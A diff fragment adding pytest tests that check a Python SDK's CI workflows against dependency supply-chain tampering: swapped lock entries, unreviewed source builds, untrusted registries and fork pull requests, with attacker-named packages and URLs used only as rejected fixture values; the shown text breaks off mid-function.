+ pytest.param("added-optional", False, id="fork-cannot-add-unreviewed-optional-wheel"),
+ pytest.param("removed-package", False, id="fork-cannot-remove-immutable-reviewed-identity"),
+ pytest.param("replaced-name", False, id="fork-cannot-swap-reviewed-package-name"),
+ pytest.param("replaced-version", False, id="fork-cannot-swap-reviewed-package-version"),
+ pytest.param("replaced-wheel-url", False, id="fork-cannot-swap-reviewed-wheel-url"),
+ pytest.param("replaced-wheel-hash", False, id="fork-cannot-swap-reviewed-wheel-hash"),
+ pytest.param("replaced-sdist-url", False, id="fork-cannot-swap-reviewed-source-url"),
+ pytest.param("replaced-sdist-hash", False, id="fork-cannot-swap-reviewed-source-hash"),
+ pytest.param("added-wheel", False, id="fork-cannot-add-an-unreviewed-wheel"),
+ pytest.param("removed-wheel", False, id="fork-cannot-drop-an-immutable-reviewed-wheel"),
+ pytest.param("duplicate-package", False, id="fork-cannot-hide-an-extra-identity-in-a-set"),
+ pytest.param("reordered-wheels", True, id="fork-may-reorder-identical-reviewed-artifacts"),
+ pytest.param("canonical-name", True, id="fork-may-canonicalize-identical-reviewed-name"),
+ pytest.param("same-repo-maintainer", True, id="same-repo-maintainer-may-update-wheel"),
+ pytest.param("same-repo-dependabot", True, id="same-repo-security-bot-may-add-wheel"),
+ ],
+)
+def test_fork_dependency_identities_must_match_immutable_reviewed_lock(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ reviewed: dict[str, object] = {
+ "name": "reviewed_dependency",
+ "version": "2.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ "sdist": {
+ "url": "https://files.pythonhosted.org/packages/reviewed-2.0.tar.gz",
+ "hash": "sha256:" + "a" * 64,
+ },
+ "wheels": [
+ {
+ "url": "https://files.pythonhosted.org/packages/reviewed-2.0-py3-none-any.whl",
+ "hash": "sha256:" + "b" * 64,
+ },
+ {
+ "url": "https://files.pythonhosted.org/packages/reviewed-2.0-linux.whl",
+ "hash": "sha256:" + "c" * 64,
+ },
+ ],
+ }
+ baseline = run_dependency_lock_source_check(tmp_path, [root, reviewed], trusted_fork=True)
+ assert baseline.returncode == 0, baseline.stdout + baseline.stderr
+ trusted_lock = (tmp_path / "uv.lock").read_text()
+ packages = cast(list[dict[str, object]], json.loads(json.dumps([root, reviewed])))
+ package = packages[1]
+ wheels = cast(list[dict[str, str]], package["wheels"])
+ sdist = cast(dict[str, str], package["sdist"])
+ fork = not variant.startswith("same-repo-")
+
+ if variant in {"added-default", "added-optional", "same-repo-dependabot"}:
+ packages.append(
+ {
+ "name": "attacker-owned-plugin",
+ "version": "1.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ )
+ elif variant == "removed-package":
+ packages.pop()
+ elif variant == "replaced-name":
+ package["name"] = "attacker-owned-plugin"
+ elif variant in {"replaced-version", "same-repo-maintainer"}:
+ package["version"] = "2.1"
+ elif variant == "replaced-wheel-url":
+ wheels[0]["url"] = "https://files.pythonhosted.org/packages/attacker-2.0-py3-none-any.whl"
+ elif variant == "replaced-wheel-hash":
+ wheels[0]["hash"] = "sha256:" + "d" * 64
+ elif variant == "replaced-sdist-url":
+ sdist["url"] = "https://files.pythonhosted.org/packages/attacker-2.0.tar.gz"
+ elif variant == "replaced-sdist-hash":
+ sdist["hash"] = "sha256:" + "d" * 64
+ elif variant == "added-wheel":
+ wheels.append(
+ {
+ "url": "https://files.pythonhosted.org/packages/attacker-2.0-linux.whl",
+ "hash": "sha256:" + "d" * 64,
+ }
+ )
+ elif variant == "removed-wheel":
+ wheels.pop()
+ elif variant == "duplicate-package":
+ packages.append(cast(dict[str, object], json.loads(json.dumps(package))))
+ elif variant == "reordered-wheels":
+ wheels.reverse()
+ packages.reverse()
+ elif variant == "canonical-name":
+ package["name"] = "Reviewed.Dependency"
+
+ result = run_dependency_lock_source_check(
+ tmp_path,
+ packages,
+ trusted_fork=fork,
+ trusted_base_lock=trusted_lock,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+def test_fork_build_provenance_uses_immutable_pull_request_identity() -> None:
+ for name in ("ci.yml", "detect-breaking-changes.yml"):
+ workflow = (ROOT / ".github/workflows" / name).read_text()
+ environment = workflow.split("\njobs:\n", 1)[0].rsplit("\nenv:\n", 1)[1]
+ fork = next(line for line in environment.splitlines() if "UNTRUSTED_BUILD_FORK:" in line)
+ base = next(line for line in environment.splitlines() if "TRUSTED_BUILD_BASE_SHA:" in line)
+ assert "github.event_name == 'pull_request'" in fork
+ assert "github.event.pull_request.head.repo.id != github.event.pull_request.base.repo.id" in fork
+ assert "github.event_name == 'pull_request'" in base
+ assert "github.event.pull_request.base.sha" in base
+ assert "github.sha" not in base
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("reviewed-wheel", True, id="reviewed-public-wheel"),
+ pytest.param("sdist-only", False, id="unreviewed-source-distribution-backend"),
+ pytest.param("empty-wheels", False, id="empty-wheel-list"),
+ pytest.param("no-binary", False, id="force-all-source-builds"),
+ pytest.param("no-binary-package", False, id="force-package-source-build"),
+ pytest.param("no_binary", False, id="force-all-source-builds-alias"),
+ pytest.param("no_binary_package", False, id="force-package-source-build-alias"),
+ pytest.param("uv.toml", False, id="standalone-uv-config-source-override"),
+ pytest.param(".uv.toml", False, id="hidden-uv-config-source-override"),
+ ],
+)
+def test_public_dependencies_require_reviewed_wheels_without_build_overrides(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ dependency: dict[str, object] = {
+ "name": "reviewed-dependency",
+ "version": "1.0.0",
+ "source": {"registry": "https://pypi.org/simple"},
+ }
+ overrides: dict[str, object] | None = None
+ config: str | None = None
+ if variant == "sdist-only":
+ dependency["sdist_only"] = True
+ elif variant == "empty-wheels":
+ dependency["wheels"] = []
+ elif variant in {"no-binary", "no_binary"}:
+ overrides = {variant: True}
+ elif variant in {"no-binary-package", "no_binary_package"}:
+ overrides = {variant: ["reviewed-dependency"]}
+ elif variant in {"uv.toml", ".uv.toml"}:
+ config = variant
+ result = run_dependency_lock_source_check(
+ tmp_path,
+ [root, dependency],
+ uv_overrides=overrides,
+ extra_uv_config=config,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+def dependency_workflow_jobs() -> dict[str, str]:
+ path = ROOT / ".github/workflows/ci.yml"
+ if not path.exists():
+ pytest.skip("GitHub workflows are not included in source distributions")
+
+ workflow = path.read_text().split("\njobs:\n", 1)[1]
+ return {
+ match.group("name"): match.group("body")
+ for match in re.finditer(
+ r"^ (?P[\w-]+):\n(?P.*?)(?=^ [\w-]+:\n|\Z)",
+ workflow,
+ re.MULTILINE | re.DOTALL,
+ )
+ }
+
+
+def dependency_installer_jobs(jobs: dict[str, str]) -> set[str]:
+ return {
+ name
+ for name, job in jobs.items()
+ if name != "dependency-locks"
+ and (
+ "astral-sh/setup-uv@" in job
+ or "./.github/actions/setup-node-tooling" in job
+ or re.search(
+ r"\b(?:uv\s+(?:sync|run)|pip\s+install|(?:npm|pnpm)\s+(?:ci|install|add))\b",
+ job,
+ )
+ or re.search(r"run:\s*\./scripts/(?:bootstrap|build)\b", job)
+ )
+ }
+
+
+def test_dependency_provenance_runs_before_tool_setup() -> None:
+ gate = dependency_workflow_jobs()["dependency-locks"]
+ source = next(line for line in gate.splitlines() if "Use only the public PyPI registry" in line)
+ assert source.strip().startswith("python -I -c '")
+
+ before = gate.split(source, 1)[0]
+ actions = re.findall(r"^ - uses:\s*(\S+)", before, re.MULTILINE)
+ assert len(actions) == 1
+ assert re.fullmatch(r"actions/checkout@[0-9a-f]{40}", actions[0])
+ assert "persist-credentials: false" in before
+ assert not re.search(
+ r"^\s*(?:- )?(?:run:|uses:).*(?:setup-uv|setup-node|uv\s|pip\s|npm\s|pnpm\s|scripts/)",
+ before,
+ re.MULTILINE,
+ )
+
+
+@pytest.mark.parametrize(
+ "source",
+ [
+ pytest.param({"git": "https://github.com/unreviewed/package"}, id="git"),
+ pytest.param({"path": "../unreviewed"}, id="path"),
+ pytest.param({"url": "https://unreviewed.example/package.whl"}, id="url"),
+ ],
+)
+def test_untrusted_provenance_leaves_no_dependency_install_reachable(tmp_path: Path, source: dict[str, str]) -> None:
+ jobs = dependency_workflow_jobs()
+ installers = dependency_installer_jobs(jobs)
+ assert installers == {"lint", "build", "test", "test-httpx2", "examples", "compatibility"}
+
+ needs = {name: re.findall(r"^ needs:\s*([^\s#]+)", jobs[name], re.MULTILINE) for name in installers}
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]
+ root: dict[str, object] = {
+ "name": project["name"],
+ "version": project["version"],
+ "source": {"editable": "."},
+ }
+ dependency: dict[str, object] = {
+ "name": "reviewed-dependency",
+ "version": "1.0.0",
+ "source": source,
+ }
+ rejected = run_dependency_lock_source_check(tmp_path, [root, dependency])
+ assert rejected.returncode != 0
+ reachable = {
+ name
+ for name in installers
+ if not needs[name] or (needs[name] == ["dependency-locks"] and rejected.returncode == 0)
+ }
+ assert not reachable
+
+ dependency["source"] = {"registry": "https://pypi.org/simple"}
+ accepted = run_dependency_lock_source_check(tmp_path, [root, dependency])
+ assert accepted.returncode == 0
+ assert {
+ name for name in installers if needs[name] == ["dependency-locks"] and accepted.returncode == 0
+ } == installers
+
+
+def test_scheduled_compatibility_keeps_dependency_provenance_gate() -> None:
+ jobs = dependency_workflow_jobs()
+ assert not re.search(r"^ if:.*schedule", jobs["dependency-locks"], re.MULTILINE)
+ assert re.search(r"^ needs:\s*dependency-locks\s*$", jobs["compatibility"], re.MULTILINE)
+ assert "github.event_name == 'schedule'" in jobs["compatibility"]
+ assert "github.event_name == 'workflow_dispatch'" in jobs["compatibility"]
+
+
+@pytest.mark.parametrize(
+ ("event", "experimental", "allowed"),
+ [
+ pytest.param("pull_request", False, False, id="fork-pr-supported-python"),
+ pytest.param("pull_request", True, False, id="fork-pr-never-gets-prerelease-exception"),
+ pytest.param("push", True, False, id="push-never-gets-prerelease-exception"),
+ pytest.param("merge_group", True, False, id="merge-queue-never-gets-prerelease-exception"),
+ pytest.param("schedule", False, False, id="scheduled-supported-python-wheels-only"),
+ pytest.param("schedule", True, True, id="trusted-scheduled-prerelease-preserved"),
+ pytest.param("workflow_dispatch", True, True, id="trusted-manual-prerelease-preserved"),
+ ],
+)
+def test_source_builds_only_allowed_in_trusted_experimental_compatibility(
+ event: str, experimental: bool, allowed: bool
+) -> None:
+ for name in ("ci.yml", "detect-breaking-changes.yml"):
+ workflow = (ROOT / ".github/workflows" / name).read_text()
+ global_environment = workflow.split("\njobs:\n", 1)[0].rsplit("\nenv:\n", 1)[1]
+ assert re.search(r"^ UV_NO_BUILD: ['\"]?1['\"]?\s*$", global_environment, re.MULTILINE)
+ assert re.search(r"^ UV_NO_BINARY_PACKAGE: ['\"]?openai['\"]?\s*$", global_environment, re.MULTILINE)
+ assert "openai-agents" not in global_environment
+ compatibility = dependency_workflow_jobs()["compatibility"]
+ assert "matrix.experimental" in compatibility
+ assert "(github.event_name == 'schedule' || github.event_name == 'workflow_dispatch')" in compatibility
+ assert "&& '0' || '1'" in compatibility
+ assert "environment:" not in compatibility
+ assert "id-token:" not in compatibility
+ assert (experimental and event in {"schedule", "workflow_dispatch"}) is allowed
+
+
+def test_editable_project_sync_requires_only_the_reviewed_root_build_exemption() -> None:
+ uv = shutil.which("uv")
+ if uv is None:
+ pytest.skip("uv is not installed")
+
+ command = [uv, "--no-config", "sync", "--frozen", "--all-extras", "--offline", "--dry-run"]
+ environment = dict(os.environ)
+ environment["UV_NO_BUILD"] = "1"
+ environment.pop("UV_NO_BINARY_PACKAGE", None)
+
+ rejected = subprocess.run(
+ command,
+ cwd=ROOT,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert rejected.returncode != 0
+ assert "openai" in rejected.stderr
+ assert "--no-build" in rejected.stderr
+
+ environment["UV_NO_BINARY_PACKAGE"] = "openai"
+ accepted = subprocess.run(
+ command,
+ cwd=ROOT,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert accepted.returncode == 0, accepted.stdout + accepted.stderr
+
+
+def test_agents_sdk_build_exemption_only_covers_its_trusted_editable_project() -> None:
+ workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
+ match = re.search(r"^ agents_sdk:\n(?P.*?)(?=^ [\w-]+:\n|\Z)", workflow, re.MULTILINE | re.DOTALL)
+ assert match is not None
+ job = match.group("body")
+ trusted_checkout = job.index("repository: openai/openai-agents-python")
+ exception = "UV_NO_BINARY_PACKAGE: 'openai openai-agents'"
+ reviewed_sources = (
+ 'env -u UV_NO_BUILD UV_NO_BUILD_PACKAGE="${denied_sources}" '
+ 'UV_NO_BINARY_PACKAGE="openai openai-agents ${reviewed_sources}" make sync'
+ )
+ assert job.count(exception) == 3
+ assert job.count(reviewed_sources) == 1
+
+ for command in ("uv add --no-sync ../openai-python", "make sync", "make mypy"):
+ command_index = job.index(command)
+ assert command_index > trusted_checkout
+ step_start = job.rfind("\n - ", 0, command_index)
+ step_end = job.find("\n - ", command_index)
+ if step_end < 0:
+ step_end = len(job)
+ step = job[step_start:step_end]
+ assert "working-directory: openai-agents-python" in step
+ assert exception in step
+ if command == "make sync":
+ assert reviewed_sources in step
+
+ assert exception not in job[:trusted_checkout]
+ assert reviewed_sources not in job[:trusted_checkout]
+
+
+@pytest.mark.parametrize(
+ ("reviewed", "requested", "variant", "accepted", "reaches_sync"),
+ [
+ pytest.param("evdev", "evdev", "reviewed", True, True, id="immutable-reviewed-source-can-build"),
+ pytest.param("evdev", "aiohttp", "reviewed", False, True, id="inactive-static-allowlist-entry-stays-denied"),
+ pytest.param(
+ "evdev", "unreviewed-package", "reviewed", False, True, id="unreviewed-source-distribution-stays-denied"
+ ),
+ pytest.param(
+ "evdev missing", "evdev", "reviewed", False, False, id="unverified-source-exemption-cannot-reach-sync"
+ ),
+ pytest.param("evdev", "evdev", "untrusted-source", False, False, id="untrusted-package-cannot-reach-sync"),
+ pytest.param("evdev", "evdev", "missing-root", False, False, id="missing-local-root-cannot-reach-sync"),
+ pytest.param(
+ "evdev", "evdev", "duplicate-version", True, True, id="multiple-reviewed-lock-versions-can-reach-sync"
+ ),
+ pytest.param("evdev", "evdev", "duplicate-root", False, False, id="duplicate-local-root-cannot-reach-sync"),
+ pytest.param("evdev", "evdev", "duplicate-alias", False, False, id="duplicate-package-cannot-reach-sync"),
+ ],
+)
+def test_agents_source_sync_only_builds_immutable_reviewed_distributions(
+ tmp_path: Path,
+ monkeypatch: pytest.MonkeyPatch,
+ reviewed: str,
+ requested: str,
+ variant: str,
+ accepted: bool,
+ reaches_sync: bool,
+) -> None:
+ workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
+ job = workflow.split("\n agents_sdk:\n", 1)[1]
+ match = re.search(
+ r" - name: Install dependencies\n"
+ r" working-directory: openai-agents-python\n"
+ r" env:\n"
+ r"(?: [^\n]*\n)+"
+ r" run: \|\n"
+ r"(?P.*?)(?=\n - name:|\Z)",
+ job,
+ re.DOTALL,
+ )
+ assert match is not None
+ lines = [line[10:] for line in match.group("body").splitlines()]
+ assert lines[0].startswith('reviewed_sources="$(python -c ')
+ assert "Use only the immutable reviewed Agents source distributions" in lines[0]
+ assert job.index("Verify relinked Agents lock package provenance") < job.index(lines[0])
+ script = "\n".join(['reviewed_sources="$UV_TEST_REVIEWED_SOURCES"', *lines[1:]])
+ if sys.version_info < (3, 11):
+ script = script.replace("\nimport tomllib\n", "\nimport tomli as tomllib\n")
+
+ public = 'registry = "https://pypi.org/simple"'
+ packages = [
+ ("openai-agents", 'editable = "."'),
+ ("openai", 'directory = "../openai-python"'),
+ ("evdev", public),
+ ("aiohttp", public),
+ ("MarkupSafe", public),
+ ("pyyaml", public),
+ ("unreviewed_package", public),
+ ]
+ if variant == "untrusted-source":
+ packages[-1] = ("unreviewed_package", 'registry = "https://private.example/simple"')
+ elif variant == "missing-root":
+ packages.pop(0)
+ elif variant == "duplicate-version":
+ packages.append(("evdev", public))
+ elif variant == "duplicate-root":
+ packages.append(("openai", 'directory = "../openai-python"'))
+ elif variant == "duplicate-alias":
+ packages.append(("EVDEV", public))
+ lock = "\n".join(
+ f'[[package]]\nname = "{name}"\nversion = "{index + 1}"\nsource = {{ {source} }}\n'
+ for index, (name, source) in enumerate(packages)
+ )
+ (tmp_path / "uv.lock").write_text(lock)
+
+ log = tmp_path / "sync.json"
+ executable = tmp_path / "make"
+ executable.write_text(
+ f"#!{sys.executable}\n"
+ "import json, os, pathlib, sys\n"
+ "entry = {'args': sys.argv[1:], 'no_build': os.environ.get('UV_NO_BUILD'), "
+ "'no_build_packages': os.environ.get('UV_NO_BUILD_PACKAGE'), "
+ "'no_binary_packages': os.environ.get('UV_NO_BINARY_PACKAGE')}\n"
+ "pathlib.Path(os.environ['UV_TEST_LOG']).write_text(json.dumps(entry))\n"
+ "requested = os.environ['UV_TEST_REQUESTED_SOURCE']\n"
+ "if requested in set(entry['no_build_packages'].split()):\n"
+ " raise SystemExit('source distribution denied by --no-build-package')\n"
+ "if requested not in set(entry['no_binary_packages'].split()):\n"
+ " raise SystemExit('source distribution was not explicitly reviewed')\n"
+ )
+ executable.chmod(0o755)
+ monkeypatch.setenv("PATH", str(tmp_path) + os.pathsep + os.environ["PATH"])
+ monkeypatch.setenv("UV_TEST_LOG", str(log))
+ monkeypatch.setenv("UV_TEST_REVIEWED_SOURCES", reviewed)
+ monkeypatch.setenv("UV_TEST_REQUESTED_SOURCE", requested)
+ monkeypatch.setenv("UV_NO_BUILD", "1")
+
+ result = subprocess.run(["bash", "-e", "-c", script], cwd=tmp_path, capture_output=True, text=True, check=False)
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+ assert log.exists() is reaches_sync
+ if reaches_sync:
+ call = cast(dict[str, object], json.loads(log.read_text()))
+ assert call["args"] == ["sync"]
+ assert call["no_build"] is None
+ assert set(cast(str, call["no_build_packages"]).split()) == {
+ "aiohttp",
+ "markupsafe",
+ "pyyaml",
+ "unreviewed-package",
+ }
+ assert set(cast(str, call["no_binary_packages"]).split()) == {"openai", "openai-agents", "evdev"}
+ if not accepted:
+ assert "--no-build-package" in result.stderr
+
+
+def test_agents_source_allowlist_uses_its_immutable_reviewed_checkout() -> None:
+ workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
+ job = workflow.split("\n agents_sdk:\n", 1)[1]
+ checkout = re.search(
+ r"repository: openai/openai-agents-python\n(?P(?: [^\n]+\n)+)",
+ job,
+ )
+ assert checkout is not None
+ assert re.search(
+ r"^ ref: 7e55afc9500d12937687988f1e91e900dcb4ad09$", checkout.group("inputs"), re.MULTILINE
+ )
+
+
+def test_agents_type_checks_reuse_only_the_validated_preinstalled_environment() -> None:
+ workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
+ job = workflow.split("\n agents_sdk:\n", 1)[1]
+ checks = job.split(" - name: Run integration type checks\n", 1)[1]
+ assert "UV_NO_SYNC: '1'" in checks
+ assert "UV_NO_BINARY_PACKAGE: 'openai openai-agents'" in checks
+ assert "reviewed_sources" not in checks
+ assert checks.index("UV_NO_SYNC") < checks.index("run: make mypy")
+ assert job.index('${reviewed_sources}" make sync') < job.index("UV_NO_SYNC")
+
+
+def test_agents_link_only_relocks_before_reviewed_source_distributions(
+ tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
+ job = workflow.split("\n agents_sdk:\n", 1)[1]
+ link = job.split(" - name: Link to local SDK\n", 1)[1].split("\n - name:", 1)[0]
+ match = re.search(r"^ run: (.+)$", link, re.MULTILINE)
+ assert match is not None
+ command = match.group(1)
+ assert command == "uv add --no-sync ../openai-python"
+ assert "UV_NO_BINARY_PACKAGE: 'openai openai-agents'" in link
+ assert "aiohttp" not in link
+ assert job.index(command) < job.index("Use only the immutable reviewed Agents source distributions")
+ assert job.index("Use only the immutable reviewed Agents source distributions") < job.index("make sync")
+
+ executable = tmp_path / "uv"
+ uv = shutil.which("uv")
+ if uv is not None:
+ supported = subprocess.run([uv, "add", "--help"], capture_output=True, text=True, check=False)
+ assert supported.returncode == 0, supported.stdout + supported.stderr
+ assert "--no-sync" in supported.stdout
+ assert "Avoid syncing the virtual environment" in supported.stdout
+
+ executable.write_text(
+ f"#!{sys.executable}\n"
+ "import json, os, pathlib, sys\n"
+ "root = pathlib.Path(os.environ['UV_TEST_ROOT'])\n"
+ "if '--no-sync' not in sys.argv:\n"
+ " (root / 'environment-synced').write_text('unreviewed install')\n"
+ " raise SystemExit('unsafe environment sync before source validation')\n"
+ "(root / 'relocked.json').write_text(json.dumps({'args': sys.argv[1:], "
+ "'no_build': os.environ.get('UV_NO_BUILD'), "
+ "'no_binary': os.environ.get('UV_NO_BINARY_PACKAGE')}))\n"
+ )
+ executable.chmod(0o755)
+ monkeypatch.setenv("PATH", str(tmp_path) + os.pathsep + os.environ["PATH"])
+ monkeypatch.setenv("UV_TEST_ROOT", str(tmp_path))
+ monkeypatch.setenv("UV_NO_BUILD", "1")
+ monkeypatch.setenv("UV_NO_BINARY_PACKAGE", "openai openai-agents")
+ result = subprocess.run(["bash", "-e", "-c", command], cwd=tmp_path, capture_output=True, text=True, check=False)
+ assert result.returncode == 0, result.stdout + result.stderr
+ assert not (tmp_path / "environment-synced").exists()
+ relocked = cast(dict[str, object], json.loads((tmp_path / "relocked.json").read_text()))
+ assert relocked["args"] == ["add", "--no-sync", "../openai-python"]
+ assert relocked["no_build"] == "1"
+ assert relocked["no_binary"] == "openai openai-agents"
+
+
+def test_explicit_root_build_keeps_every_public_dependency_source_build_disabled(
+ tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ build = dependency_workflow_jobs()["build"]
+ match = re.search(
+ r" - name: Run build\n run: \|\n(?P(?: [^\n]*\n)+)",
+ build,
+ )
+ assert match is not None
+ script = "\n".join(line[10:] for line in match.group("body").splitlines())
+ assert "env -u UV_NO_BUILD UV_NO_BUILD_PACKAGE=" in script
+ assert "UV_NO_BUILD=0" not in script
+
+ log = tmp_path / "calls.jsonl"
+ executable = tmp_path / "uv"
+ executable.write_text(
+ f"#!{sys.executable}\n"
+ "import json, os, pathlib, sys\n"
+ "entry = {'args': sys.argv[1:], 'no_build': os.environ.get('UV_NO_BUILD'), "
+ "'no_build_packages': os.environ.get('UV_NO_BUILD_PACKAGE')}\n"
+ "with open(os.environ['UV_TEST_LOG'], 'a') as output:\n"
+ " output.write(json.dumps(entry) + '\\n')\n"
+ "if sys.argv[1] == 'export':\n"
+ " pathlib.Path(sys.argv[sys.argv.index('--output-file') + 1]).write_text('reviewed\\n')\n"
+ "if sys.argv[1] == 'build':\n"
+ " assert '--no-sources' in sys.argv and '--require-hashes' in sys.argv\n"
+ " assert pathlib.Path(sys.argv[sys.argv.index('--build-constraints') + 1]).read_text() == 'reviewed\\n'\n"
+ )
+ executable.chmod(0o755)
+ monkeypatch.setenv("PATH", str(tmp_path) + os.pathsep + os.environ["PATH"])
+ monkeypatch.setenv("UV_TEST_LOG", str(log))
+ monkeypatch.setenv("UV_NO_BUILD", "1")
+
+ result = subprocess.run(["bash", "-e", "-c", script], cwd=ROOT, capture_output=True, text=True, check=False)
+ assert result.returncode == 0, result.stdout + result.stderr
+ calls: list[dict[str, Any]] = [json.loads(line) for line in log.read_text().splitlines()]
+ assert [call["args"][0] for call in calls] == ["export", "build"]
+ lock = tomllib.loads((ROOT / "uv.lock").read_text())
+ expected = {
+ re.sub(r"[-_.]+", "-", cast(str, package["name"])).lower()
+ for package in cast(list[dict[str, object]], lock["package"])
+ if package["source"] == {"registry": "https://pypi.org/simple"}
+ }
+ assert expected
+ assert "openai" not in expected
+ for call in calls:
+ assert call["no_build"] is None
+ assert set(cast(str, call["no_build_packages"]).split()) == expected
+
+
+def test_package_scoped_root_build_policy_rejects_real_external_source_distribution(tmp_path: Path) -> None:
+ uv = shutil.which("uv")
+ if uv is None:
+ pytest.skip("uv is not installed")
+
+ environment = dict(os.environ)
+ environment.pop("UV_NO_BUILD", None)
+ environment["UV_NO_BUILD_PACKAGE"] = "aiohttp"
+ environment["UV_NO_BINARY_PACKAGE"] = "openai aiohttp"
+ environment["UV_PROJECT_ENVIRONMENT"] = str(tmp_path / "isolated")
+ result = subprocess.run(
+ [uv, "--no-config", "sync", "--frozen", "--all-extras", "--offline", "--dry-run"],
+ cwd=ROOT,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert result.returncode != 0
+ assert "aiohttp" in result.stderr
+ assert "--no-build" in result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("reviewed", True, id="trusted-agents-aiohttp-source"),
+ pytest.param("version", False, id="agents-aiohttp-version-swapped"),
+ pytest.param("wheel-upgrade", True, id="changed-reviewed-name-is-wheel-only-without-source-exemption"),
+ pytest.param("wheel-url", False, id="changed-reviewed-name-rejects-nonpublic-wheel"),
+ pytest.param("wheel-hash", False, id="changed-reviewed-name-rejects-invalid-wheel-hash"),
+ pytest.param("wheel-sdist-url", False, id="changed-reviewed-name-rejects-nonpublic-source-artifact"),
+ pytest.param("wheel-sdist-hash", False, id="changed-reviewed-name-rejects-invalid-source-hash"),
+ pytest.param("removed", True, id="removed-reviewed-name-receives-no-source-exemption"),
+ pytest.param("source", False, id="agents-aiohttp-private-registry"),
+ pytest.param("url", False, id="agents-aiohttp-source-url-swapped"),
+ pytest.param("hash", False, id="agents-aiohttp-source-hash-swapped"),
+ pytest.param("duplicate", False, id="agents-aiohttp-canonical-name-collision"),
+ pytest.param("trusted-hash", False, id="upstream-aiohttp-source-must-be-reviewed"),
+ pytest.param("origin", False, id="agents-checkout-origin-must-be-trusted"),
+ ],
+)
+@pytest.mark.parametrize("package", ["aiohttp", "markupsafe", "pyyaml", "evdev"])
+def test_agents_aiohttp_source_must_match_immutable_trusted_upstream(
+ tmp_path: Path, variant: str, accepted: bool, package: str
+) -> None:
+ workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
+ line = next(
+ entry
+ for entry in workflow.splitlines()
+ if "python -c '" in entry and "Use only the immutable reviewed Agents source distributions" in entry
+ )
+ program = line.split("python -c '", 1)[1].rsplit("'", 1)[0]
+ if sys.version_info < (3, 11):
+ program = "import sys, tomli; sys.modules['tomllib'] = tomli; " + program
+
+ reviewed = {
+ "aiohttp": (
+ "3.12.15",
+ "9b/e7/d92a237d8802ca88483906c388f7c201bbe96cd80a165ffd0ac2f6a8d59f/aiohttp-3.12.15.tar.gz",
+ "4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2",
+ ),
+ "markupsafe": (
+ "3.0.2",
+ "b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz",
+ "ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0",
+ ),
+ "pyyaml": (
+ "6.0.2",
+ "54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz",
+ "d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e",
+ ),
+ "evdev": (
+ "1.9.2",
+ "63/fe/a17c106a1f4061ce83f04d14bcedcfb2c38c7793ea56bfb906a6fadae8cb/evdev-1.9.2.tar.gz",
+ "5d3278892ce1f92a74d6bf888cc8525d9f68af85dbe336c95d1c87fb8f423069",
+ ),
+ }
+ version, artifact_path, digest = reviewed[package]
+ url = "https://files.pythonhosted.org/packages/" + artifact_path
+ current_version = version
+ current_url = url
+ current_digest = digest
+ current_registry = "https://pypi.org/simple"
+ trusted_digest = digest
+ origin = "https://github.com/openai/openai-agents-python.git"
+ current_wheel_url: str | None = None
+ current_wheel_digest = "c" * 64
+ if variant == "version":
+ current_version = "0.0.1"
+ elif variant == "source":
+ current_registry = "https://private.example/simple"
+ elif variant in {"wheel-upgrade", "wheel-url", "wheel-hash", "wheel-sdist-url", "wheel-sdist-hash"}:
+ current_version = "3.14.3" if package == "aiohttp" else "9.0.0"
+ current_url = "https://files.pythonhosted.org/packages/aa/bb/" + package + "-" + current_version + ".tar.gz"
+ current_digest = "a" * 64
+ current_wheel_url = (
+ "https://files.pythonhosted.org/packages/aa/bb/" + package + "-" + current_version + "-py3-none-any.whl"
+ )
+ if variant == "wheel-url":
+ current_wheel_url = "https://private.example/packages/" + package + ".whl"
+ if variant == "wheel-hash":
+ current_wheel_digest = "invalid"
+ if variant == "wheel-sdist-url":
+ current_url = "https://private.example/packages/" + package + ".tar.gz"
+ if variant == "wheel-sdist-hash":
+ current_digest = "invalid"
+ elif variant == "url":
+ current_url = "https://unreviewed.example/packages/aiohttp.tar.gz"
+ elif variant == "hash":
+ current_digest = "b" * 64
+ elif variant == "trusted-hash":
+ current_digest = trusted_digest = "b" * 64
+ elif variant == "origin":
+ origin = "https://github.com/unreviewed/openai-agents-python.git"
+
+ def lock(
+ name: str,
+ version: str,
+ artifact_url: str,
+ artifact_digest: str,
+ registry: str,
+ wheel_url: str | None = None,
+ ) -> str:
+ return (
+ "[[package]]\nname = "
+ + json.dumps(name)
+ + "\nversion = "
+ + json.dumps(version)
+ + "\nsource = { registry = "
+ + json.dumps(registry)
